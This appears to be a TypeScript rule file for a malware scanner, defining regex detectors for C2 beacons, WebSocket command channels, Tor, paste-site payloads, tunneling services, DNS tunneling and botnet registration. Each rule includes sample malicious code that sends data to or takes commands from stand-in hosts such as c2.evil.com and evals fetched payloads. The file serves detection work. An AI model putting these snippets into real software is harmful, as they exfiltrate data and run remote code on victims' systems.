/**
 * @fileoverview Suspicious Network and C2 Detection Rules
 * @module rules/malware/categories/network
 * 
 * Comprehensive rules for detecting suspicious network activity including:
 * - Command and Control (C2) communication
 * - DNS tunneling
 * - Botnet patterns
 * - Suspicious external connections
 * - Data exfiltration channels
 */

import {
  MalwareRule,
  MalwareThreatType,
  MalwareCategory,
  MalwareSeverity,
  ConfidenceLevel,
  SupportedLanguage,
  PatternType,
  MitreTactic
} from '../types';

// ============================================================================
// C2 COMMUNICATION RULES
// ============================================================================

export const c2Rules: MalwareRule[] = [
  {
    id: 'MAL-NET-001',
    name: 'C2 Communication - Beacon Pattern',
    description: 'Detects periodic heartbeat/beacon communication with external servers.',
    version: '2.0.0',
    threatType: MalwareThreatType.C2_COMMUNICATION,
    category: MalwareCategory.BOTNET,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON
    ],
    severity: MalwareSeverity.CRITICAL,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 88,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'setinterval-http',
        pattern: 'setInterval\\s*\\([^)]*(?:fetch|axios|XMLHttpRequest|http)[^)]*,\\s*\\d{4,}\\s*\\)',
        flags: 'gis',
        weight: 0.9,
        description: 'Periodic HTTP requests'
      },
      {
        type: PatternType.REGEX,
        patternId: 'python-loop-http',
        pattern: 'while\\s+True:[\\s\\S]*?(?:requests\\.|urllib|http\\.client)[\\s\\S]*?time\\.sleep\\s*\\(\\s*\\d+',
        flags: 'gis',
        weight: 1.0,
        description: 'Python infinite loop with HTTP and sleep'
      },
      {
        type: PatternType.REGEX,
        patternId: 'heartbeat-function',
        pattern: 'function\\s+(?:heartbeat|beacon|ping)\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|http)',
        flags: 'gis',
        weight: 0.8,
        description: 'Heartbeat/beacon function'
      }
    ],
    amplifyingPatterns: [
      {
        type: PatternType.REGEX,
        patternId: 'command-response',
        pattern: '(?:cmd|command|task|job)\\s*[:=]',
        flags: 'gi',
        weight: 0.4,
        description: 'Command/task variables'
      }
    ],
    maliciousExamples: [
      {
        code: `setInterval(async () => {
  const response = await fetch('https://c2.evil.com/beacon', {
    method: 'POST',
    body: JSON.stringify({ id: botId, status: 'alive' })
  });
  const cmd = await response.json();
  if (cmd.task) executeTask(cmd.task);
}, 30000);`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'C2 beacon with command execution'
      }
    ],
    impact: {
      technical: 'Maintains persistent connection to command and control server.',
      business: 'Allows remote control of compromised system.',
      affectedAssets: ['Network', 'System control'],
      dataAtRisk: ['All accessible data', 'System control']
    },
    remediation: {
      summary: 'Block C2 communication and remove malware.',
      steps: [
        'Block C2 server IPs/domains at network level',
        'Remove beacon code',
        'Analyze command history if available',
        'Check for additional payloads or persistence',
        'Reset credentials'
      ]
    },
    mitreAttack: [
      {
        tacticId: MitreTactic.COMMAND_AND_CONTROL,
        tacticName: 'Command and Control',
        techniqueId: 'T1071',
        techniqueName: 'Application Layer Protocol',
        url: 'https://attack.mitre.org/techniques/T1071/'
      }
    ],
    tags: ['c2', 'beacon', 'heartbeat', 'botnet', 'critical'],
    enabled: true
  },
  {
    id: 'MAL-NET-002',
    name: 'C2 Communication - WebSocket Channel',
    description: 'Detects WebSocket-based C2 communication channels.',
    version: '2.0.0',
    threatType: MalwareThreatType.C2_COMMUNICATION,
    category: MalwareCategory.BOTNET,
    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
    severity: MalwareSeverity.HIGH,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 80,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'websocket-external',
        pattern: 'new\\s+WebSocket\\s*\\([^)]*wss?:\\/\\/(?!localhost|127\\.0\\.0\\.1)',
        flags: 'gis',
        weight: 0.8,
        description: 'WebSocket to external server'
      },
      {
        type: PatternType.REGEX,
        patternId: 'ws-onmessage-eval',
        pattern: '\\.onmessage\\s*=\\s*[^;]*\\{[^}]*(?:eval|Function|exec)',
        flags: 'gis',
        weight: 1.0,
        description: 'WebSocket message with eval'
      },
      {
        type: PatternType.REGEX,
        patternId: 'ws-command-handler',
        pattern: '\\.onmessage[\\s\\S]*?JSON\\.parse[\\s\\S]*?(?:cmd|command|task)',
        flags: 'gis',
        weight: 0.9,
        description: 'WebSocket command handler'
      }
    ],
    maliciousExamples: [
      {
        code: `const ws = new WebSocket('wss://c2.evil.com/control');
ws.onmessage = (event) => {
  const cmd = JSON.parse(event.data);
  if (cmd.type === 'exec') {
    eval(cmd.code);
  }
};`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'WebSocket C2 with command execution'
      }
    ],
    impact: {
      technical: 'Real-time bidirectional C2 communication channel.',
      business: 'Enables real-time remote control and data exfiltration.',
      affectedAssets: ['Network', 'System'],
      dataAtRisk: ['Real-time data access']
    },
    remediation: {
      summary: 'Close WebSocket connections and block C2 servers.',
      steps: [
        'Close unauthorized WebSocket connections',
        'Block C2 server at firewall',
        'Remove malicious code',
        'Monitor WebSocket usage'
      ]
    },
    tags: ['c2', 'websocket', 'real-time', 'high'],
    enabled: true
  }
];

// ============================================================================
// SUSPICIOUS CONNECTION RULES
// ============================================================================

export const suspiciousConnectionRules: MalwareRule[] = [
  {
    id: 'MAL-NET-010',
    name: 'Suspicious Connection - IP Address Hardcoded',
    description: 'Detects hardcoded IP addresses in network connections, often used by malware.',
    version: '2.0.0',
    threatType: MalwareThreatType.SUSPICIOUS_NETWORK,
    category: MalwareCategory.SUSPICIOUS,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON,
      SupportedLanguage.PHP
    ],
    severity: MalwareSeverity.MEDIUM,
    confidence: ConfidenceLevel.MEDIUM,
    baseScore: 60,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'fetch-ip',
        pattern: '(?:fetch|axios|request|http)\\s*\\([^)]*[\'"]https?:\\/\\/\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}',
        flags: 'gis',
        weight: 0.8,
        description: 'HTTP request to IP address'
      },
      {
        type: PatternType.REGEX,
        patternId: 'socket-ip',
        pattern: '(?:socket|connect)\\s*\\([^)]*\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}',
        flags: 'gi',
        weight: 0.9,
        description: 'Socket connection to IP'
      }
    ],
    falsePositivePatterns: [
      {
        type: PatternType.REGEX,
        patternId: 'localhost-ip',
        pattern: '127\\.0\\.0\\.1|0\\.0\\.0\\.0',
        flags: 'gi',
        weight: 0.4,
        description: 'Localhost addresses'
      },
      {
        type: PatternType.REGEX,
        patternId: 'config-var',
        pattern: 'config\\.|process\\.env\\.|settings\\.',
        flags: 'gi',
        weight: 0.3,
        description: 'Configuration variables'
      }
    ],
    maliciousExamples: [
      {
        code: `fetch('http://45.33.32.156:8080/data', { method: 'POST', body: sensitiveData });`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'Hardcoded IP data exfiltration'
      }
    ],
    impact: {
      technical: 'Direct connection to IP address bypassing DNS.',
      business: 'Potential data exfiltration or C2 communication.',
      affectedAssets: ['Network connections'],
      dataAtRisk: ['Transmitted data']
    },
    remediation: {
      summary: 'Investigate IP addresses and remove unauthorized connections.',
      steps: [
        'Identify the IP addresses and their purpose',
        'Check IP reputation',
        'Remove unauthorized connections',
        'Use domain names with proper validation'
      ]
    },
    tags: ['suspicious-network', 'hardcoded-ip', 'medium'],
    enabled: true
  },
  {
    id: 'MAL-NET-011',
    name: 'Suspicious Connection - TOR/I2P/Anonymous Network',
    description: 'Detects connections to TOR, I2P, or other anonymizing networks.',
    version: '2.0.0',
    threatType: MalwareThreatType.SUSPICIOUS_NETWORK,
    category: MalwareCategory.SUSPICIOUS,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON
    ],
    severity: MalwareSeverity.HIGH,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 75,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'onion-domain',
        pattern: '\\.onion[/\'"]',
        flags: 'gi',
        weight: 1.0,
        description: 'TOR .onion domain'
      },
      {
        type: PatternType.REGEX,
        patternId: 'i2p-domain',
        pattern: '\\.i2p[/\'"]',
        flags: 'gi',
        weight: 1.0,
        description: 'I2P domain'
      },
      {
        type: PatternType.REGEX,
        patternId: 'tor-proxy',
        pattern: 'socks[45]?:\\/\\/(?:localhost|127\\.0\\.0\\.1):(?:9050|9150)',
        flags: 'gi',
        weight: 1.0,
        description: 'TOR SOCKS proxy'
      }
    ],
    maliciousExamples: [
      {
        code: `const response = await fetch('http://evil3rz44k4pbcm.onion/api/data');`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'Connection to TOR hidden service'
      }
    ],
    impact: {
      technical: 'Anonymous network usage to hide communication.',
      business: 'Difficult to trace malicious activity.',
      affectedAssets: ['Network traffic'],
      dataAtRisk: ['Untraced data exfiltration']
    },
    remediation: {
      summary: 'Block anonymous network connections and investigate usage.',
      steps: [
        'Block TOR/I2P at network level',
        'Remove anonymous network code',
        'Investigate purpose of anonymous communication',
        'Monitor for similar patterns'
      ]
    },
    tags: ['tor', 'i2p', 'anonymous', 'suspicious', 'high'],
    enabled: true
  },
  {
    id: 'MAL-NET-012',
    name: 'Suspicious Connection - Pastebin/Text Hosting',
    description: 'Detects connections to paste sites often used for C2 or payload hosting.',
    version: '2.0.0',
    threatType: MalwareThreatType.SUSPICIOUS_NETWORK,
    category: MalwareCategory.SUSPICIOUS,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON,
      SupportedLanguage.PHP
    ],
    severity: MalwareSeverity.MEDIUM,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 68,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'pastebin-fetch',
        pattern: '(?:fetch|axios|request|urllib|curl)\\s*\\([^)]*(?:pastebin\\.com|hastebin\\.com|ghostbin\\.com|rentry\\.co|dpaste\\.org)',
        flags: 'gis',
        weight: 1.0,
        description: 'Connection to paste site'
      },
      {
        type: PatternType.REGEX,
        patternId: 'raw-paste',
        pattern: 'pastebin\\.com\\/raw\\/|raw\\.githubusercontent\\.com',
        flags: 'gi',
        weight: 0.9,
        description: 'Raw paste content fetch'
      }
    ],
    maliciousExamples: [
      {
        code: `const payload = await fetch('https://pastebin.com/raw/Ej8kL9mN').then(r => r.text());
eval(payload);`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'Pastebin payload loading'
      }
    ],
    impact: {
      technical: 'Uses public paste sites for payload hosting or C2.',
      business: 'Common malware delivery mechanism.',
      affectedAssets: ['Application'],
      dataAtRisk: ['Depends on payload']
    },
    remediation: {
      summary: 'Block paste site connections and remove payload loading code.',
      steps: [
        'Remove paste site connections',
        'Analyze fetched content',
        'Block paste sites at network level if appropriate'
      ]
    },
    tags: ['pastebin', 'paste-site', 'c2', 'medium'],
    enabled: true
  },
  {
    id: 'MAL-NET-013',
    name: 'Suspicious Connection - Tunneling Service',
    description: 'Detects connections to ngrok, serveo, or other tunneling services.',
    version: '2.0.0',
    threatType: MalwareThreatType.SUSPICIOUS_NETWORK,
    category: MalwareCategory.SUSPICIOUS,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON
    ],
    severity: MalwareSeverity.MEDIUM,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 65,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'ngrok-domain',
        pattern: '(?:ngrok\\.io|serveo\\.net|localhost\\.run|localtunnel\\.me)',
        flags: 'gi',
        weight: 1.0,
        description: 'Tunneling service domain'
      }
    ],
    falsePositivePatterns: [
      {
        type: PatternType.REGEX,
        patternId: 'dev-comment',
        pattern: '\\/\\/.*(?:ngrok|tunnel)|#.*(?:ngrok|tunnel)',
        flags: 'gi',
        weight: 0.3,
        description: 'Development comment'
      }
    ],
    maliciousExamples: [
      {
        code: `fetch('https://abc123.ngrok.io/exfil', { method: 'POST', body: data });`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'Data exfiltration via ngrok tunnel'
      }
    ],
    impact: {
      technical: 'Uses tunneling services to bypass network restrictions.',
      business: 'Data exfiltration bypassing firewall rules.',
      affectedAssets: ['Network security'],
      dataAtRisk: ['Exfiltrated data']
    },
    remediation: {
      summary: 'Block tunneling services and remove connections.',
      steps: [
        'Remove tunneling service connections',
        'Block tunneling domains at network level',
        'Investigate data being transmitted'
      ]
    },
    tags: ['ngrok', 'tunnel', 'bypass', 'medium'],
    enabled: true
  }
];

// ============================================================================
// DNS TUNNELING RULES
// ============================================================================

export const dnsTunnelingRules: MalwareRule[] = [
  {
    id: 'MAL-NET-020',
    name: 'DNS Tunneling - Subdomain Data Encoding',
    description: 'Detects patterns indicative of DNS tunneling for data exfiltration.',
    version: '2.0.0',
    threatType: MalwareThreatType.DNS_TUNNELING,
    category: MalwareCategory.BOTNET,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON
    ],
    severity: MalwareSeverity.HIGH,
    confidence: ConfidenceLevel.MEDIUM,
    baseScore: 72,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'dns-lookup-data',
        pattern: 'dns\\.(?:resolve|lookup)\\s*\\([^)]*[+]|dns\\.resolve[\\s\\S]*?(?:btoa|base64|hex)',
        flags: 'gis',
        weight: 0.9,
        description: 'DNS lookup with data encoding'
      },
      {
        type: PatternType.REGEX,
        patternId: 'subdomain-chunking',
        pattern: '\\.(?:match|substring|slice)\\s*\\([^)]*\\)[\\s\\S]{0,50}\\.dns|\\.[a-z0-9]{20,}\\.',
        flags: 'gis',
        weight: 0.7,
        description: 'Subdomain data chunking'
      },
      {
        type: PatternType.REGEX,
        patternId: 'python-dns-tunnel',
        pattern: 'dns\\.resolver[\\s\\S]*?query\\s*\\([^)]*\\+',
        flags: 'gis',
        weight: 0.8,
        description: 'Python DNS query with data'
      }
    ],
    maliciousExamples: [
      {
        code: `const data = btoa(sensitiveInfo);
for (let i = 0; i < data.length; i += 63) {
  const chunk = data.substring(i, i + 63);
  dns.resolve(\`\${chunk}.exfil.evil.com\`, 'TXT', () => {});
}`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'DNS tunneling data exfiltration'
      }
    ],
    impact: {
      technical: 'Uses DNS protocol for covert data exfiltration.',
      business: 'Bypasses traditional network monitoring.',
      affectedAssets: ['DNS traffic', 'Network'],
      dataAtRisk: ['Exfiltrated sensitive data']
    },
    remediation: {
      summary: 'Monitor DNS traffic and block DNS tunneling domains.',
      steps: [
        'Remove DNS tunneling code',
        'Implement DNS monitoring for anomalous queries',
        'Block identified tunneling domains',
        'Use DNS security solutions'
      ]
    },
    mitreAttack: [
      {
        tacticId: MitreTactic.COMMAND_AND_CONTROL,
        tacticName: 'Command and Control',
        techniqueId: 'T1071.004',
        techniqueName: 'DNS',
        url: 'https://attack.mitre.org/techniques/T1071/004/'
      }
    ],
    tags: ['dns-tunneling', 'exfiltration', 'covert-channel', 'high'],
    enabled: true
  }
];

// ============================================================================
// BOTNET RULES
// ============================================================================

export const botnetRules: MalwareRule[] = [
  {
    id: 'MAL-NET-030',
    name: 'Botnet - Client Registration',
    description: 'Detects bot registration patterns with C2 server.',
    version: '2.0.0',
    threatType: MalwareThreatType.BOTNET,
    category: MalwareCategory.BOTNET,
    languages: [
      SupportedLanguage.JAVASCRIPT,
      SupportedLanguage.TYPESCRIPT,
      SupportedLanguage.PYTHON
    ],
    severity: MalwareSeverity.CRITICAL,
    confidence: ConfidenceLevel.HIGH,
    baseScore: 85,
    patterns: [
      {
        type: PatternType.REGEX,
        patternId: 'bot-registration',
        pattern: '(?:bot[-_]?id|client[-_]?id|uuid)[\\s\\S]*?(?:fetch|post|send)[\\s\\S]*?(?:register|join|connect)',
        flags: 'gis',
        weight: 0.9,
        description: 'Bot registration pattern'
      },
      {
        type: PatternType.REGEX,
        patternId: 'bot-info-collect',
        pattern: '(?:navigator\\.userAgent|os\\.platform|hostname)[\\s\\S]*?(?:fetch|post|send)',
        flags: 'gis',
        weight: 0.7,
        description: 'System info collection and send'
      }
    ],
    maliciousExamples: [
      {
        code: `const botId = crypto.randomUUID();
const info = {
  id: botId,
  platform: navigator.platform,
  ua: navigator.userAgent
};
fetch('https://botnet.evil.com/register', {
  method: 'POST',
  body: JSON.stringify(info)
});`,
        language: SupportedLanguage.JAVASCRIPT,
        isMalicious: true,
        description: 'Bot registration with system info'
      }
    ],
    impact: {
      technical: 'Enrolls system as bot in botnet.',
      business: 'System becomes part of criminal infrastructure.',
      affectedAssets: ['System', 'Network'],
      dataAtRisk: ['System resources', 'Network bandwidth']
    },
    remediation: {
      summary: 'Remove botnet code and block C2 infrastructure.',
      steps: [
        'Remove bot registration code',
        'Block botnet C2 servers',
        'Scan for additional malware',
        'Reset credentials'
      ]
    },
    tags: ['botnet', 'registration', 'c2', 'critical'],
    enabled: true
  }
];

// ============================================================================
// EXPORT ALL NETWORK RULES
// ============================================================================

export const networkRules: MalwareRule[] = [
  ...c2Rules,
  ...suspiciousConnectionRules,
  ...dnsTunnelingRules,
  ...botnetRules
];

export default networkRules;